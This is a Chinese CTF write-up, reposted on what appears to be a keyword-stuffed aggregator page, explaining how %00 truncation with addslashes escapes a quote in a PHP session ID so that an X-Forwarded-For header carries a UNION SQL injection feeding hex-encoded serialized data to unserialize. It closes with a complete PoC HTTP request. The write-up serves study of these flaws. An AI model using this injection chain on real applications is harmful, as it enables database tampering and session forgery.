当前位置: 首页 > news >正文

电子商务网站建设与维护方法分析不包括哪些企业网站推广的一般策略

电子商务网站建设与维护方法分析不包括哪些,企业网站推广的一般策略,建设网站服务费会计分录,东莞企业营销型网站策划文章来源#xff1a;安全客原文链接#xff1a;%00截断配合反序列化的奇妙利用 - 安全客#xff0c;安全资讯平台前言前段时间做了一个CTF题目#xff0c;发现这道题目相当的精妙#xff0c;主要是利用了%00的截断来绕过安全校验#xff0c;最终利用反序列化达成目的。漏…文章来源安全客原文链接%00截断配合反序列化的奇妙利用 - 安全客安全资讯平台前言前段时间做了一个CTF题目发现这道题目相当的精妙主要是利用了%00的截断来绕过安全校验最终利用反序列化达成目的。漏洞分析可控点整个代码十分的简单就是猜数字的游戏但是按照正常的逻辑是无法成功的那么必然存在漏洞。在config.php中:foreach ($_GET as $key $value ) {$_GET[$key] daddslashes($value); } foreach ($_POST as $key $value ) {$_POST[$key] daddslashes($value); } foreach ($_COOKIE as $key $value ) {$_COOKIE[$key] daddslashes($value); } foreach ($_SERVER as $key $value ) {$_SERVER[$key] addslashes($value); } function daddslashes($string) {if(!get_magic_quotes_gpc()) {if(is_array($string)) {foreach($string as $key $val) {$string[$key] daddslashes($val);}} else {$string addslashes($string);}}return $string; }对GET、POST、Cookie和SERVER都进行了转义。分析session.class.php代码class session {function __construct($db, $session_id, $session_table session, $session_nameSESSID){$this-dbConn $db;$this-session_name $session_name;$this-session_table $session_table;$this-_ip $this-real_ip();// some other codeif ($session_id !empty($_COOKIE[$this-session_name])){$this-session_id $_COOKIE[$this-session_name];}// some other codeif ($this-session_id){$this-load_session();}else{$this-gen_session_id();setcookie($this-session_name, $this-session_id . $this-gen_session_key($this-session_id));}}function real_ip(){static $realip NULL;if ($realip ! NULL){return $realip;}if (isset($_SERVER)){if (isset($_SERVER[HTTP_X_FORWARDED_FOR])){$realip $_SERVER[HTTP_X_FORWARDED_FOR];}elseif (isset($_SERVER[HTTP_CLIENT_IP])){$realip $_SERVER[HTTP_CLIENT_IP];}else{if (isset($_SERVER[REMOTE_ADDR])){$realip $_SERVER[REMOTE_ADDR];}else{$realip 0.0.0.0;}}}else{$realip 0.0.0.0;}return $realip;} }其中变量$this-_ip是由函数real_ip()得到其实是从$_SERVER[HTTP_X_FORWARDED_FOR]等变量中取到的意味着变量$_SERVER[HTTP_X_FORWARDED_FOR]是可控的。变量$this-session_id是从变量$_COOKIE[SESSID]中得到的同样是可控的。所以目前看到这里我们已经知道了变量$this-_ip和变量$this-session_id都是我们可控的。漏洞点发现在初始化中存在如下代码if ($this-session_id) {$this-load_session(); }如果存在$this-session_id,则调用load_session()函数跟踪进入到load_session()中进一步分析function load_session() {$res $this-dbConn-query(SELECT data FROM . $this-session_table . WHERE session_id . $this-session_id . and ip . $this-_ip . );$session $res-fetch_array();if (empty($session)){$this-insert_session();}else{$GLOBALS[_SESSION] unserialize($session[data]);} }可以发现在SQL语句中直接使用了$this-_ip,而这个$this-_ip是我们可控的$this-session_id也是可控的其次最后将数据取出来时使用了unserialize($session[data])反序列化的操作。根据直觉猜解这个问题可能和SQL注入以及序列化漏洞有关。漏洞利用根据上面的猜测漏洞可能和SQL注入以及序列化相关。但是漏洞利用均存在一定程度的问题。对于参数$this-_ip,虽然我们可控但是还是被包裹同时之前也进行了转义所以如果要利用必须要能够逃逸出单引号。其次对于序列化漏洞需要从$session[data]中读入数据所以要能够利用序列化漏洞的话则需要$session[data]的内容是可控的。但是通过分析对于数据库中data表的数据我们是不可控的所以序列化的利用也存在很大的问题了。其实问题的本质是在于SQL注入漏洞如果能够成功地进行union注入也就意味着$session[data]的内容是可控的。那么问题就转为了如何进行注入了注入的关键问题是在于逃脱引号。分析SQL语句SELECT data FROM . $this-session_table . WHERE session_id . $this-session_id . and ip . $this-_ip . 如果$this-_ip无法逃逸出单引号那么可以考虑一下$this-session_id是否能够逃逸出单引号。继续分析代码$tmp_session_id substr($this-session_id, 0, 32); if ($this-gen_session_key($tmp_session_id) substr($this-session_id, 32)) {$this-session_id $tmp_session_id; }可以发现使用了substr()方法进行了阶段那么是否能够利用截断的方法得到一个呢通过一个例子进行说明$mystr c4ca4238a0b923820dcc509a6f75849; $mystr addslashes($mystr); var_dump($mystr); // 结果为 c4ca4238a0b923820dcc509a6f75849 (length33) var_dump(substr($mystr, 0, 32)); //结果为 c4ca4238a0b923820dcc509a6f75849 (length32)说明通过截断的方式保留是可行的。解决了SQL注入的问题接下来就需要解决反序列化的问题序列化是字符串但是由于之前使用了addslashes进行转义即使能够使用SQL注入也无法进行反序列此时需要可以采用十六进制来解决这个问题了。漏洞实施在进行实际的测试时我发现通过会存在问题。当我们设置SESSIDc4ca4238a0b923820dcc509a6f75849eb2d9059时代码运行至$tmp_session_id substr($this-session_id, 0, 32); if ($this-gen_session_key($tmp_session_id) substr($this-session_id, 32)) {$this-session_id $tmp_session_id; }其中的$tmp_session_id截断之后变为c4ca4238a0b923820dcc509a6f75849。此时计算:$this-gen_session_key($tmp_session_id) // 得到 eb2d9059 substr($this-session_id, 32) // 得到 eb2d9059可以看到多余的被保留了导致此处的判断无法相等这样就存在问题。后来想到可以使用%00的方式得到$mystr QYHuItTPcsD1yj4npiRWGvChx0FLBw6%00; $mystr urldecode($mystr); $mystr addslashes($mystr); var_dump($mystr); // 得到 QYHuItTPcsD1yj4npiRWGvChx0FLBw6 (length32)这样多余的0就可以作为后面的校验值了。当我们设置SESSIDQYHuItTPcsD1yj4npiRWGvChx0FLBw6%002ad2457时运行的结果如下这样就完成了SQL注入的第一步了下面就是构造序列化的内容然后转换为十六进制。序列化的内容十分的简单需要设置分数大于100份即可a:2:{s:4:name;s:6:hahaha;s:5:score;s:3:102;},转换为十六进制0x613a323a7b733a343a226e616d65223b733a363a22686168616861223b733a353a2273636f7265223b733a333a22313032223b7d。至此所有的问题都解决了最后的PoC为:GET URL HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtmlxml,application/xml;q0.9,*/*;q0.8 Accept-Language: en-US,en;q0.5 Cookie: SESSIDQYHuItTPcsD1yj4npiRWGvChx0FLBw6%002ad2457 X-Forwarded-For: /**/union select 0x613a323a7b733a343a226e616d65223b733a363a22686168616861223b733a353a2273636f7265223b733a333a22313032223b7d # Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age0注意设置Cookie和XXF。总结一般的截断通过是为了保留得到单引号但是相较于常规的截断手法你会发现在本例中完全不适用无法绕过关键的校验是$this-gen_session_key($tmp_session_id) substr($this-session_id, 32)同时在绕过了这个校验之后还需要保留单引号最终采用%00截断完美地解决了这个问题。这是一道非常好的题目虽然所有的考察点都知道但是结合在一起确实如此的精妙遇到了问题看来需要多想多思考在安全这条路上还有很长的一段路要走。
http://www.huolong8.cn/news/67103/

相关文章:

  • 泰安中商网络做的网站怎么进入网站免费打包
  • 政务服务网站建设汇报南昌企业网站制作
  • 中国工程建设网站申通e物流的网站建设
  • 怎样创建网站域名平台河北网络公司招聘
  • 企业品牌网站有哪些网站开发 微盘
  • 哪个网站买域名便宜长沙做网站最好的公司有哪些
  • 买域名送网站书店网站规划与建设
  • 北京企业网站改版柳州企业网站制作哪家好
  • 企业所得税优惠政策最新2023一般纳税人整站优化seo排名点击
  • 惠州网站建设外包网站支持ipv6做哪些改造
  • 六盘水做网站网站seo排名优化
  • 龙岩做网站的公司专门做肥料外贸的网站
  • 网站建设的建议例子android显示wordpress
  • 南昌网站建设公司市场wordpress免费的企业主题
  • 1688网站可以自己做吗wordpress主题dux5.2
  • 如何判断网站被google kphpstudy建设网站视频教程
  • 文案策划网站网页图片不清晰怎么办
  • 建站公司网站论坛手机连接电脑弹窗wordpress
  • 258做网站怎么样公司网站建设个人总结
  • 免费制作软件的网站网站建设入门到精通
  • 简述网站建设优坏的评价标准网站开发课题的目的与意义
  • 简述网站规划的主要内容建筑网站官网
  • 建网站代理商wordpress收件邮箱
  • 网站制作方案网站建设国内外研究进展
  • wordpress 页面列表重庆关键词优化软件
  • 网站开发技术 难点购物网站功能模块
  • 微信导航网站有用吗网站运营维护中需要用到什么服务器
  • 做网站去哪个公司好大连seo推广外包
  • 网站图片什么格式一个thinkphp搭建的微网站
  • 网站标题应怎设置设计一个商务网站